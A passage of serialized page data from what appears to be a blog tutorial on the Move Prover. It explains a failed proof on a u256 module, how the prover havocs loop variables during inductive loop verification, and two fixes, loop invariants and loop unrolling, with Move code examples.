u256.U256{v0",{"type":23,"tag":75,"props":21986,"children":21987},{"style":1266},[21988],{"type":29,"value":1193},{"type":23,"tag":75,"props":21990,"children":21991},{"style":1266},[21992],{"type":29,"value":21993}," 26418,",{"type":23,"tag":75,"props":21995,"children":21996},{"style":1266},[21997],{"type":29,"value":21998}," v1",{"type":23,"tag":75,"props":22000,"children":22001},{"style":1266},[22002],{"type":29,"value":1193},{"type":23,"tag":75,"props":22004,"children":22005},{"style":1266},[22006],{"type":29,"value":22007}," 27938,",{"type":23,"tag":75,"props":22009,"children":22010},{"style":1266},[22011],{"type":29,"value":22012}," v2",{"type":23,"tag":75,"props":22014,"children":22015},{"style":1266},[22016],{"type":29,"value":1193},{"type":23,"tag":75,"props":22018,"children":22019},{"style":1266},[22020],{"type":29,"value":22021}," 6900,",{"type":23,"tag":75,"props":22023,"children":22024},{"style":1266},[22025],{"type":29,"value":22026}," v3",{"type":23,"tag":75,"props":22028,"children":22029},{"style":1266},[22030],{"type":29,"value":1193},{"type":23,"tag":75,"props":22032,"children":22033},{"style":237},[22034],{"type":29,"value":22035}," 1999",{"type":23,"tag":75,"props":22037,"children":22038},{"style":1266},[22039],{"type":29,"value":369},{"type":23,"tag":75,"props":22041,"children":22042},{"class":77,"line":705},[22043,22047,22052],{"type":23,"tag":75,"props":22044,"children":22045},{"style":88},[22046],{"type":29,"value":21862},{"type":23,"tag":75,"props":22048,"children":22049},{"style":1266},[22050],{"type":29,"value":22051}," ./sources/u256.move:346:",{"type":23,"tag":75,"props":22053,"children":22054},{"style":1266},[22055],{"type":29,"value":21872},{"type":23,"tag":75,"props":22057,"children":22058},{"class":77,"line":787},[22059],{"type":23,"tag":75,"props":22060,"children":22061},{"style":88},[22062],{"type":29,"value":22063},"     ABORTED\n",{"type":23,"tag":75,"props":22065,"children":22066},{"class":77,"line":826},[22067],{"type":23,"tag":75,"props":22068,"children":22069},{"emptyLinePlaceholder":15},[22070],{"type":29,"value":276},{"type":23,"tag":75,"props":22072,"children":22073},{"class":77,"line":834},[22074,22079,22084,22088,22093,22098,22103,22107,22112,22116],{"type":23,"tag":75,"props":22075,"children":22076},{"style":88},[22077],{"type":29,"value":22078},"FAILURE",{"type":23,"tag":75,"props":22080,"children":22081},{"style":1266},[22082],{"type":29,"value":22083}," proving",{"type":23,"tag":75,"props":22085,"children":22086},{"style":237},[22087],{"type":29,"value":15795},{"type":23,"tag":75,"props":22089,"children":22090},{"style":1266},[22091],{"type":29,"value":22092}," modules",{"type":23,"tag":75,"props":22094,"children":22095},{"style":1266},[22096],{"type":29,"value":22097}," from",{"type":23,"tag":75,"props":22099,"children":22100},{"style":1266},[22101],{"type":29,"value":22102}," package",{"type":23,"tag":75,"props":22104,"children":22105},{"style":1266},[22106],{"type":29,"value":21621},{"type":23,"tag":75,"props":22108,"children":22109},{"style":88},[22110],{"type":29,"value":22111},"u256",{"type":23,"tag":75,"props":22113,"children":22114},{"style":1266},[22115],{"type":29,"value":21630},{"type":23,"tag":75,"props":22117,"children":22118},{"style":94},[22119],{"type":29,"value":22120}," in 9.143s\n",{"type":23,"tag":75,"props":22122,"children":22123},{"class":77,"line":881},[22124],{"type":23,"tag":75,"props":22125,"children":22126},{"style":94},[22127],{"type":29,"value":2549},{"type":23,"tag":75,"props":22129,"children":22130},{"class":77,"line":3355},[22131,22136,22140],{"type":23,"tag":75,"props":22132,"children":22133},{"style":88},[22134],{"type":29,"value":22135},"    \"Error\"",{"type":23,"tag":75,"props":22137,"children":22138},{"style":88},[22139],{"type":29,"value":1018},{"type":23,"tag":75,"props":22141,"children":22142},{"style":1266},[22143],{"type":29,"value":22144}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":75,"props":22146,"children":22147},{"class":77,"line":3390},[22148],{"type":23,"tag":75,"props":22149,"children":22150},{"style":94},[22151],{"type":29,"value":369},{"type":23,"tag":32,"props":22153,"children":22154},{},[22155,22157,22162],{"type":29,"value":22156},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":71,"props":22158,"children":22160},{"className":22159},[],[22161],{"type":29,"value":19584},{"type":29,"value":22163}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":32,"props":22165,"children":22166},{},[22167,22169,22175],{"type":29,"value":22168},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":71,"props":22170,"children":22172},{"className":22171},[],[22173],{"type":29,"value":22174},"ret havocked and reassigned",{"type":29,"value":557},{"type":23,"tag":32,"props":22177,"children":22178},{},[22179],{"type":29,"value":22180},"What does this mean?",{"type":23,"tag":32,"props":22182,"children":22183},{},[22184,22186,22193],{"type":29,"value":22185},"By diving into the Move Prover source, we find a ",{"type":23,"tag":940,"props":22187,"children":22190},{"href":22188,"rel":22189},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[944],[22191],{"type":29,"value":22192},"likely suspect",{"type":29,"value":22194},". The prover attempts to prove all loops with induction!",{"type":23,"tag":32,"props":22196,"children":22197},{},[22198],{"type":29,"value":22199},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":2797,"props":22201,"children":22202},{},[22203,22208],{"type":23,"tag":2801,"props":22204,"children":22205},{},[22206],{"type":29,"value":22207},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":2801,"props":22209,"children":22210},{},[22211],{"type":29,"value":22212},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":32,"props":22214,"children":22215},{},[22216,22218,22223,22225,22231,22232,22238,22239,22244,22246,22251],{"type":29,"value":22217},"The loop prover will also ",{"type":23,"tag":16596,"props":22219,"children":22220},{},[22221],{"type":29,"value":22222},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":22224},". Going back to the log message, this implies that the variables ",{"type":23,"tag":71,"props":22226,"children":22228},{"className":22227},[],[22229],{"type":29,"value":22230},"carry",{"type":29,"value":611},{"type":23,"tag":71,"props":22233,"children":22235},{"className":22234},[],[22236],{"type":29,"value":22237},"ret",{"type":29,"value":2721},{"type":23,"tag":71,"props":22240,"children":22242},{"className":22241},[],[22243],{"type":29,"value":12935},{"type":29,"value":22245}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":71,"props":22247,"children":22249},{"className":22248},[],[22250],{"type":29,"value":20887},{"type":29,"value":22252}," makes no sense.",{"type":23,"tag":32,"props":22254,"children":22255},{},[22256],{"type":29,"value":22257},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":2797,"props":22259,"children":22260},{},[22261,22266,22271,22276,22281,22286],{"type":23,"tag":2801,"props":22262,"children":22263},{},[22264],{"type":29,"value":22265},"Assert the loop invariant",{"type":23,"tag":2801,"props":22267,"children":22268},{},[22269],{"type":29,"value":22270},"Havoc all modified variables",{"type":23,"tag":2801,"props":22272,"children":22273},{},[22274],{"type":29,"value":22275},"Assume the loop invariant",{"type":23,"tag":2801,"props":22277,"children":22278},{},[22279],{"type":29,"value":22280},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":2801,"props":22282,"children":22283},{},[22284],{"type":29,"value":22285},"Run the loop body",{"type":23,"tag":2801,"props":22287,"children":22288},{},[22289],{"type":29,"value":22265},{"type":23,"tag":32,"props":22291,"children":22292},{},[22293],{"type":29,"value":22294},"There are two approaches to dealing with loops.",{"type":23,"tag":32,"props":22296,"children":22297},{},[22298],{"type":29,"value":22299},"The first would be to specify a loop invariant.",{"type":23,"tag":32,"props":22301,"children":22302},{},[22303,22305,22312],{"type":29,"value":22304},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":940,"props":22306,"children":22309},{"href":22307,"rel":22308},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[944],[22310],{"type":29,"value":22311},"previous post",{"type":29,"value":557},{"type":23,"tag":64,"props":22314,"children":22316},{"code":22315,"language":986,"meta":7,"className":987,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[22317],{"type":23,"tag":71,"props":22318,"children":22319},{"__ignoreMap":7},[22320,22332,22343,22379,22402,22485,22492,22516,22524,22544,22564,22655,22662,22690],{"type":23,"tag":75,"props":22321,"children":22322},{"class":77,"line":78},[22323,22328],{"type":23,"tag":75,"props":22324,"children":22325},{"style":175},[22326],{"type":29,"value":22327},"  while",{"type":23,"tag":75,"props":22329,"children":22330},{"style":94},[22331],{"type":29,"value":19791},{"type":23,"tag":75,"props":22333,"children":22334},{"class":77,"line":100},[22335,22339],{"type":23,"tag":75,"props":22336,"children":22337},{"style":110},[22338],{"type":29,"value":20184},{"type":23,"tag":75,"props":22340,"children":22341},{"style":94},[22342],{"type":29,"value":401},{"type":23,"tag":75,"props":22344,"children":22345},{"class":77,"line":121},[22346,22351,22355,22359,22363,22367,22371,22375],{"type":23,"tag":75,"props":22347,"children":22348},{"style":110},[22349],{"type":29,"value":22350},"          invariant",{"type":23,"tag":75,"props":22352,"children":22353},{"style":88},[22354],{"type":29,"value":4634},{"type":23,"tag":75,"props":22356,"children":22357},{"style":94},[22358],{"type":29,"value":643},{"type":23,"tag":75,"props":22360,"children":22361},{"style":110},[22362],{"type":29,"value":19824},{"type":23,"tag":75,"props":22364,"children":22365},{"style":94},[22366],{"type":29,"value":167},{"type":23,"tag":75,"props":22368,"children":22369},{"style":209},[22370],{"type":29,"value":2469},{"type":23,"tag":75,"props":22372,"children":22373},{"style":110},[22374],{"type":29,"value":3261},{"type":23,"tag":75,"props":22376,"children":22377},{"style":94},[22378],{"type":29,"value":245},{"type":23,"tag":75,"props":22380,"children":22381},{"class":77,"line":138},[22382,22386,22390,22394,22398],{"type":23,"tag":75,"props":22383,"children":22384},{"style":110},[22385],{"type":29,"value":22350},{"type":23,"tag":75,"props":22387,"children":22388},{"style":110},[22389],{"type":29,"value":3261},{"type":23,"tag":75,"props":22391,"children":22392},{"style":209},[22393],{"type":29,"value":19456},{"type":23,"tag":75,"props":22395,"children":22396},{"style":110},[22397],{"type":29,"value":19745},{"type":23,"tag":75,"props":22399,"children":22400},{"style":94},[22401],{"type":29,"value":245},{"type":23,"tag":75,"props":22403,"children":22404},{"class":77,"line":161},[22405,22409,22413,22417,22421,22425,22429,22433,22437,22441,22445,22449,22453,22457,22461,22465,22469,22473,22477,22481],{"type":23,"tag":75,"props":22406,"children":22407},{"style":110},[22408],{"type":29,"value":22350},{"type":23,"tag":75,"props":22410,"children":22411},{"style":110},[22412],{"type":29,"value":19875},{"type":23,"tag":75,"props":22414,"children":22415},{"style":110},[22416],{"type":29,"value":19880},{"type":23,"tag":75,"props":22418,"children":22419},{"style":82},[22420],{"type":29,"value":14330},{"type":23,"tag":75,"props":22422,"children":22423},{"style":237},[22424],{"type":29,"value":240},{"type":23,"tag":75,"props":22426,"children":22427},{"style":209},[22428],{"type":29,"value":14339},{"type":23,"tag":75,"props":22430,"children":22431},{"style":110},[22432],{"type":29,"value":12935},{"type":23,"tag":75,"props":22434,"children":22435},{"style":209},[22436],{"type":29,"value":1018},{"type":23,"tag":75,"props":22438,"children":22439},{"style":110},[22440],{"type":29,"value":19680},{"type":23,"tag":75,"props":22442,"children":22443},{"style":94},[22444],{"type":29,"value":814},{"type":23,"tag":75,"props":22446,"children":22447},{"style":110},[22448],{"type":29,"value":19913},{"type":23,"tag":75,"props":22450,"children":22451},{"style":94},[22452],{"type":29,"value":13463},{"type":23,"tag":75,"props":22454,"children":22455},{"style":209},[22456],{"type":29,"value":2469},{"type":23,"tag":75,"props":22458,"children":22459},{"style":110},[22460],{"type":29,"value":19926},{"type":23,"tag":75,"props":22462,"children":22463},{"style":94},[22464],{"type":29,"value":814},{"type":23,"tag":75,"props":22466,"children":22467},{"style":110},[22468],{"type":29,"value":19913},{"type":23,"tag":75,"props":22470,"children":22471},{"style":94},[22472],{"type":29,"value":13463},{"type":23,"tag":75,"props":22474,"children":22475},{"style":209},[22476],{"type":29,"value":601},{"type":23,"tag":75,"props":22478,"children":22479},{"style":110},[22480],{"type":29,"value":19745},{"type":23,"tag":75,"props":22482,"children":22483},{"style":94},[22484],{"type":29,"value":245},{"type":23,"tag":75,"props":22486,"children":22487},{"class":77,"line":196},[22488],{"type":23,"tag":75,"props":22489,"children":22490},{"style":94},[22491],{"type":29,"value":20176},{"type":23,"tag":75,"props":22493,"children":22494},{"class":77,"line":220},[22495,22500,22504,22508,22512],{"type":23,"tag":75,"props":22496,"children":22497},{"style":94},[22498],{"type":29,"value":22499},"      (",{"type":23,"tag":75,"props":22501,"children":22502},{"style":110},[22503],{"type":29,"value":12935},{"type":23,"tag":75,"props":22505,"children":22506},{"style":209},[22507],{"type":29,"value":749},{"type":23,"tag":75,"props":22509,"children":22510},{"style":110},[22511],{"type":29,"value":19745},{"type":23,"tag":75,"props":22513,"children":22514},{"style":94},[22515],{"type":29,"value":653},{"type":23,"tag":75,"props":22517,"children":22518},{"class":77,"line":248},[22519],{"type":23,"tag":75,"props":22520,"children":22521},{"style":94},[22522],{"type":29,"value":22523},"  }) {\n",{"type":23,"tag":75,"props":22525,"children":22526},{"class":77,"line":270},[22527,22532,22536,22540],{"type":23,"tag":75,"props":22528,"children":22529},{"style":94},[22530],{"type":29,"value":22531},"      vector",{"type":23,"tag":75,"props":22533,"children":22534},{"style":209},[22535],{"type":29,"value":1407},{"type":23,"tag":75,"props":22537,"children":22538},{"style":88},[22539],{"type":29,"value":20007},{"type":23,"tag":75,"props":22541,"children":22542},{"style":94},[22543],{"type":29,"value":97},{"type":23,"tag":75,"props":22545,"children":22546},{"class":77,"line":279},[22547,22552,22556,22560],{"type":23,"tag":75,"props":22548,"children":22549},{"style":209},[22550],{"type":29,"value":22551},"          &",{"type":23,"tag":75,"props":22553,"children":22554},{"style":82},[22555],{"type":29,"value":14998},{"type":23,"tag":75,"props":22557,"children":22558},{"style":110},[22559],{"type":29,"value":19680},{"type":23,"tag":75,"props":22561,"children":22562},{"style":94},[22563],{"type":29,"value":118},{"type":23,"tag":75,"props":22565,"children":22566},{"class":77,"line":303},[22567,22571,22575,22579,22583,22587,22591,22595,22599,22603,22607,22611,22615,22619,22623,22627,22631,22635,22639,22643,22647,22651],{"type":23,"tag":75,"props":22568,"children":22569},{"style":94},[22570],{"type":29,"value":19966},{"type":23,"tag":75,"props":22572,"children":22573},{"style":209},[22574],{"type":29,"value":601},{"type":23,"tag":75,"props":22576,"children":22577},{"style":94},[22578],{"type":29,"value":20048},{"type":23,"tag":75,"props":22580,"children":22581},{"style":209},[22582],{"type":29,"value":1407},{"type":23,"tag":75,"props":22584,"children":22585},{"style":88},[22586],{"type":29,"value":20057},{"type":23,"tag":75,"props":22588,"children":22589},{"style":94},[22590],{"type":29,"value":643},{"type":23,"tag":75,"props":22592,"children":22593},{"style":209},[22594],{"type":29,"value":1277},{"type":23,"tag":75,"props":22596,"children":22597},{"style":110},[22598],{"type":29,"value":1207},{"type":23,"tag":75,"props":22600,"children":22601},{"style":94},[22602],{"type":29,"value":20074},{"type":23,"tag":75,"props":22604,"children":22605},{"style":110},[22606],{"type":29,"value":12935},{"type":23,"tag":75,"props":22608,"children":22609},{"style":82},[22610],{"type":29,"value":20083},{"type":23,"tag":75,"props":22612,"children":22613},{"style":104},[22614],{"type":29,"value":17129},{"type":23,"tag":75,"props":22616,"children":22617},{"style":94},[22618],{"type":29,"value":20092},{"type":23,"tag":75,"props":22620,"children":22621},{"style":82},[22622],{"type":29,"value":20097},{"type":23,"tag":75,"props":22624,"children":22625},{"style":104},[22626],{"type":29,"value":20102},{"type":23,"tag":75,"props":22628,"children":22629},{"style":94},[22630],{"type":29,"value":167},{"type":23,"tag":75,"props":22632,"children":22633},{"style":209},[22634],{"type":29,"value":601},{"type":23,"tag":75,"props":22636,"children":22637},{"style":94},[22638],{"type":29,"value":183},{"type":23,"tag":75,"props":22640,"children":22641},{"style":110},[22642],{"type":29,"value":20119},{"type":23,"tag":75,"props":22644,"children":22645},{"style":82},[22646],{"type":29,"value":20083},{"type":23,"tag":75,"props":22648,"children":22649},{"style":104},[22650],{"type":29,"value":20102},{"type":23,"tag":75,"props":22652,"children":22653},{"style":94},[22654],{"type":29,"value":653},{"type":23,"tag":75,"props":22656,"children":22657},{"class":77,"line":322},[22658],{"type":23,"tag":75,"props":22659,"children":22660},{"style":94},[22661],{"type":29,"value":18030},{"type":23,"tag":75,"props":22663,"children":22664},{"class":77,"line":340},[22665,22670,22674,22678,22682,22686],{"type":23,"tag":75,"props":22666,"children":22667},{"style":110},[22668],{"type":29,"value":22669},"      i",{"type":23,"tag":75,"props":22671,"children":22672},{"style":209},[22673],{"type":29,"value":1193},{"type":23,"tag":75,"props":22675,"children":22676},{"style":110},[22677],{"type":29,"value":3261},{"type":23,"tag":75,"props":22679,"children":22680},{"style":209},[22681],{"type":29,"value":20160},{"type":23,"tag":75,"props":22683,"children":22684},{"style":237},[22685],{"type":29,"value":15795},{"type":23,"tag":75,"props":22687,"children":22688},{"style":94},[22689],{"type":29,"value":245},{"type":23,"tag":75,"props":22691,"children":22692},{"class":77,"line":349},[22693],{"type":23,"tag":75,"props":22694,"children":22695},{"style":94},[22696],{"type":29,"value":22697},"  };\n",{"type":23,"tag":32,"props":22699,"children":22700},{},[22701,22703,22709,22711,22716,22718,22724],{"type":29,"value":22702},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":71,"props":22704,"children":22706},{"className":22705},[],[22707],{"type":29,"value":22708},"while",{"type":29,"value":22710}," loop. Note that because the loop invariant executes ",{"type":23,"tag":9690,"props":22712,"children":22713},{},[22714],{"type":29,"value":22715},"after",{"type":29,"value":22717}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":71,"props":22719,"children":22721},{"className":22720},[],[22722],{"type":29,"value":22723},"i \u003C= n_coins",{"type":29,"value":557},{"type":23,"tag":64,"props":22726,"children":22728},{"code":22727,"language":986,"meta":7,"className":987,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[22729],{"type":23,"tag":71,"props":22730,"children":22731},{"__ignoreMap":7},[22732,22743,22754,22789,22812,22895,22902,22925],{"type":23,"tag":75,"props":22733,"children":22734},{"class":77,"line":78},[22735,22739],{"type":23,"tag":75,"props":22736,"children":22737},{"style":175},[22738],{"type":29,"value":22327},{"type":23,"tag":75,"props":22740,"children":22741},{"style":94},[22742],{"type":29,"value":19791},{"type":23,"tag":75,"props":22744,"children":22745},{"class":77,"line":100},[22746,22750],{"type":23,"tag":75,"props":22747,"children":22748},{"style":110},[22749],{"type":29,"value":20184},{"type":23,"tag":75,"props":22751,"children":22752},{"style":94},[22753],{"type":29,"value":401},{"type":23,"tag":75,"props":22755,"children":22756},{"class":77,"line":121},[22757,22761,22765,22769,22773,22777,22781,22785],{"type":23,"tag":75,"props":22758,"children":22759},{"style":110},[22760],{"type":29,"value":22350},{"type":23,"tag":75,"props":22762,"children":22763},{"style":88},[22764],{"type":29,"value":4634},{"type":23,"tag":75,"props":22766,"children":22767},{"style":94},[22768],{"type":29,"value":643},{"type":23,"tag":75,"props":22770,"children":22771},{"style":110},[22772],{"type":29,"value":19824},{"type":23,"tag":75,"props":22774,"children":22775},{"style":94},[22776],{"type":29,"value":167},{"type":23,"tag":75,"props":22778,"children":22779},{"style":209},[22780],{"type":29,"value":2469},{"type":23,"tag":75,"props":22782,"children":22783},{"style":110},[22784],{"type":29,"value":3261},{"type":23,"tag":75,"props":22786,"children":22787},{"style":94},[22788],{"type":29,"value":245},{"type":23,"tag":75,"props":22790,"children":22791},{"class":77,"line":138},[22792,22796,22800,22804,22808],{"type":23,"tag":75,"props":22793,"children":22794},{"style":110},[22795],{"type":29,"value":22350},{"type":23,"tag":75,"props":22797,"children":22798},{"style":110},[22799],{"type":29,"value":3261},{"type":23,"tag":75,"props":22801,"children":22802},{"style":209},[22803],{"type":29,"value":19456},{"type":23,"tag":75,"props":22805,"children":22806},{"style":110},[22807],{"type":29,"value":19745},{"type":23,"tag":75,"props":22809,"children":22810},{"style":94},[22811],{"type":29,"value":245},{"type":23,"tag":75,"props":22813,"children":22814},{"class":77,"line":161},[22815,22819,22823,22827,22831,22835,22839,22843,22847,22851,22855,22859,22863,22867,22871,22875,22879,22883,22887,22891],{"type":23,"tag":75,"props":22816,"children":22817},{"style":110},[22818],{"type":29,"value":22350},{"type":23,"tag":75,"props":22820,"children":22821},{"style":110},[22822],{"type":29,"value":19875},{"type":23,"tag":75,"props":22824,"children":22825},{"style":110},[22826],{"type":29,"value":19880},{"type":23,"tag":75,"props":22828,"children":22829},{"style":82},[22830],{"type":29,"value":14330},{"type":23,"tag":75,"props":22832,"children":22833},{"style":237},[22834],{"type":29,"value":240},{"type":23,"tag":75,"props":22836,"children":22837},{"style":209},[22838],{"type":29,"value":14339},{"type":23,"tag":75,"props":22840,"children":22841},{"style":110},[22842],{"type":29,"value":12935},{"type":23,"tag":75,"props":22844,"children":22845},{"style":209},[22846],{"type":29,"value":1018},{"type":23,"tag":75,"props":22848,"children":22849},{"style":110},[22850],{"type":29,"value":19680},{"type":23,"tag":75,"props":22852,"children":22853},{"style":94},[22854],{"type":29,"value":814},{"type":23,"tag":75,"props":22856,"children":22857},{"style":110},[22858],{"type":29,"value":19913},{"type":23,"tag":75,"props":22860,"children":22861},{"style":94},[22862],{"type":29,"value":13463},{"type":23,"tag":75,"props":22864,"children":22865},{"style":209},[22866],{"type":29,"value":2469},{"type":23,"tag":75,"props":22868,"children":22869},{"style":110},[22870],{"type":29,"value":19926},{"type":23,"tag":75,"props":22872,"children":22873},{"style":94},[22874],{"type":29,"value":814},{"type":23,"tag":75,"props":22876,"children":22877},{"style":110},[22878],{"type":29,"value":19913},{"type":23,"tag":75,"props":22880,"children":22881},{"style":94},[22882],{"type":29,"value":13463},{"type":23,"tag":75,"props":22884,"children":22885},{"style":209},[22886],{"type":29,"value":601},{"type":23,"tag":75,"props":22888,"children":22889},{"style":110},[22890],{"type":29,"value":19745},{"type":23,"tag":75,"props":22892,"children":22893},{"style":94},[22894],{"type":29,"value":245},{"type":23,"tag":75,"props":22896,"children":22897},{"class":77,"line":196},[22898],{"type":23,"tag":75,"props":22899,"children":22900},{"style":94},[22901],{"type":29,"value":20176},{"type":23,"tag":75,"props":22903,"children":22904},{"class":77,"line":220},[22905,22909,22913,22917,22921],{"type":23,"tag":75,"props":22906,"children":22907},{"style":94},[22908],{"type":29,"value":22499},{"type":23,"tag":75,"props":22910,"children":22911},{"style":110},[22912],{"type":29,"value":12935},{"type":23,"tag":75,"props":22914,"children":22915},{"style":209},[22916],{"type":29,"value":749},{"type":23,"tag":75,"props":22918,"children":22919},{"style":110},[22920],{"type":29,"value":19745},{"type":23,"tag":75,"props":22922,"children":22923},{"style":94},[22924],{"type":29,"value":653},{"type":23,"tag":75,"props":22926,"children":22927},{"class":77,"line":248},[22928],{"type":23,"tag":75,"props":22929,"children":22930},{"style":94},[22931],{"type":29,"value":22523},{"type":23,"tag":32,"props":22933,"children":22934},{},[22935],{"type":29,"value":22936},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":32,"props":22938,"children":22939},{},[22940,22942,22947],{"type":29,"value":22941},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":71,"props":22943,"children":22945},{"className":22944},[],[22946],{"type":29,"value":20887},{"type":29,"value":22948}," function will always iterate exactly 4 times:",{"type":23,"tag":64,"props":22950,"children":22952},{"code":22951,"language":986,"meta":7,"className":987,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[22953],{"type":23,"tag":71,"props":22954,"children":22955},{"__ignoreMap":7},[22956,22964,22997,23004,23019,23026,23050,23074,23119,23163,23170],{"type":23,"tag":75,"props":22957,"children":22958},{"class":77,"line":78},[22959],{"type":23,"tag":75,"props":22960,"children":22961},{"style":3621},[22962],{"type":29,"value":22963},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":75,"props":22965,"children":22966},{"class":77,"line":100},[22967,22971,22976,22980,22984,22988,22993],{"type":23,"tag":75,"props":22968,"children":22969},{"style":82},[22970],{"type":29,"value":2869},{"type":23,"tag":75,"props":22972,"children":22973},{"style":94},[22974],{"type":29,"value":22975}," WORDS",{"type":23,"tag":75,"props":22977,"children":22978},{"style":209},[22979],{"type":29,"value":1018},{"type":23,"tag":75,"props":22981,"children":22982},{"style":104},[22983],{"type":29,"value":17129},{"type":23,"tag":75,"props":22985,"children":22986},{"style":209},[22987],{"type":29,"value":1193},{"type":23,"tag":75,"props":22989,"children":22990},{"style":237},[22991],{"type":29,"value":22992}," 4",{"type":23,"tag":75,"props":22994,"children":22995},{"style":94},[22996],{"type":29,"value":245},{"type":23,"tag":75,"props":22998,"children":22999},{"class":77,"line":121},[23000],{"type":23,"tag":75,"props":23001,"children":23002},{"emptyLinePlaceholder":15},[23003],{"type":29,"value":276},{"type":23,"tag":75,"props":23005,"children":23006},{"class":77,"line":138},[23007,23011,23015],{"type":23,"tag":75,"props":23008,"children":23009},{"style":94},[23010],{"type":29,"value":814},{"type":23,"tag":75,"props":23012,"children":23013},{"style":209},[23014],{"type":29,"value":9174},{"type":23,"tag":75,"props":23016,"children":23017},{"style":94},[23018],{"type":29,"value":823},{"type":23,"tag":75,"props":23020,"children":23021},{"class":77,"line":161},[23022],{"type":23,"tag":75,"props":23023,"children":23024},{"emptyLinePlaceholder":15},[23025],{"type":29,"value":276},{"type":23,"tag":75,"props":23027,"children":23028},{"class":77,"line":196},[23029,23034,23038,23042,23046],{"type":23,"tag":75,"props":23030,"children":23031},{"style":82},[23032],{"type":29,"value":23033},"let",{"type":23,"tag":75,"props":23035,"children":23036},{"style":110},[23037],{"type":29,"value":3261},{"type":23,"tag":75,"props":23039,"children":23040},{"style":209},[23041],{"type":29,"value":1193},{"type":23,"tag":75,"props":23043,"children":23044},{"style":237},[23045],{"type":29,"value":240},{"type":23,"tag":75,"props":23047,"children":23048},{"style":94},[23049],{"type":29,"value":245},{"type":23,"tag":75,"props":23051,"children":23052},{"class":77,"line":220},[23053,23057,23061,23065,23069],{"type":23,"tag":75,"props":23054,"children":23055},{"style":175},[23056],{"type":29,"value":22708},{"type":23,"tag":75,"props":23058,"children":23059},{"style":94},[23060],{"type":29,"value":183},{"type":23,"tag":75,"props":23062,"children":23063},{"style":110},[23064],{"type":29,"value":12935},{"type":23,"tag":75,"props":23066,"children":23067},{"style":209},[23068],{"type":29,"value":749},{"type":23,"tag":75,"props":23070,"children":23071},{"style":94},[23072],{"type":29,"value":23073}," WORDS) {\n",{"type":23,"tag":75,"props":23075,"children":23076},{"class":77,"line":248},[23077,23081,23086,23090,23095,23099,23103,23107,23111,23115],{"type":23,"tag":75,"props":23078,"children":23079},{"style":82},[23080],{"type":29,"value":1183},{"type":23,"tag":75,"props":23082,"children":23083},{"style":110},[23084],{"type":29,"value":23085}," a1",{"type":23,"tag":75,"props":23087,"children":23088},{"style":209},[23089],{"type":29,"value":1193},{"type":23,"tag":75,"props":23091,"children":23092},{"style":88},[23093],{"type":29,"value":23094}," get",{"type":23,"tag":75,"props":23096,"children":23097},{"style":94},[23098],{"type":29,"value":643},{"type":23,"tag":75,"props":23100,"children":23101},{"style":209},[23102],{"type":29,"value":1277},{"type":23,"tag":75,"props":23104,"children":23105},{"style":110},[23106],{"type":29,"value":940},{"type":23,"tag":75,"props":23108,"children":23109},{"style":94},[23110],{"type":29,"value":611},{"type":23,"tag":75,"props":23112,"children":23113},{"style":110},[23114],{"type":29,"value":12935},{"type":23,"tag":75,"props":23116,"children":23117},{"style":94},[23118],{"type":29,"value":15099},{"type":23,"tag":75,"props":23120,"children":23121},{"class":77,"line":270},[23122,23126,23131,23135,23139,23143,23147,23151,23155,23159],{"type":23,"tag":75,"props":23123,"children":23124},{"style":82},[23125],{"type":29,"value":1183},{"type":23,"tag":75,"props":23127,"children":23128},{"style":110},[23129],{"type":29,"value":23130}," b1",{"type":23,"tag":75,"props":23132,"children":23133},{"style":209},[23134],{"type":29,"value":1193},{"type":23,"tag":75,"props":23136,"children":23137},{"style":88},[23138],{"type":29,"value":23094},{"type":23,"tag":75,"props":23140,"children":23141},{"style":94},[23142],{"type":29,"value":643},{"type":23,"tag":75,"props":23144,"children":23145},{"style":209},[23146],{"type":29,"value":1277},{"type":23,"tag":75,"props":23148,"children":23149},{"style":110},[23150],{"type":29,"value":14507},{"type":23,"tag":75,"props":23152,"children":23153},{"style":94},[23154],{"type":29,"value":611},{"type":23,"tag":75,"props":23156,"children":23157},{"style":110},[23158],{"type":29,"value":12935},{"type":23,"tag":75,"props":23160,"children":23161},{"style":94},[23162],{"type":29,"value":15099},{"type":23,"tag":75,"props":23164,"children":23165},{"class":77,"line":279},[23166],{"type":23,"tag":75,"props":23167,"children":23168},{"emptyLinePlaceholder":15},[23169],{"type":29,"value":276},{"type":23,"tag":75,"props":23171,"children":23172},{"class":77,"line":303},[23173,23177,23181],{"type":23,"tag":75,"props":23174,"children":23175},{"style":94},[23176],{"type":29,"value":814},{"type":23,"t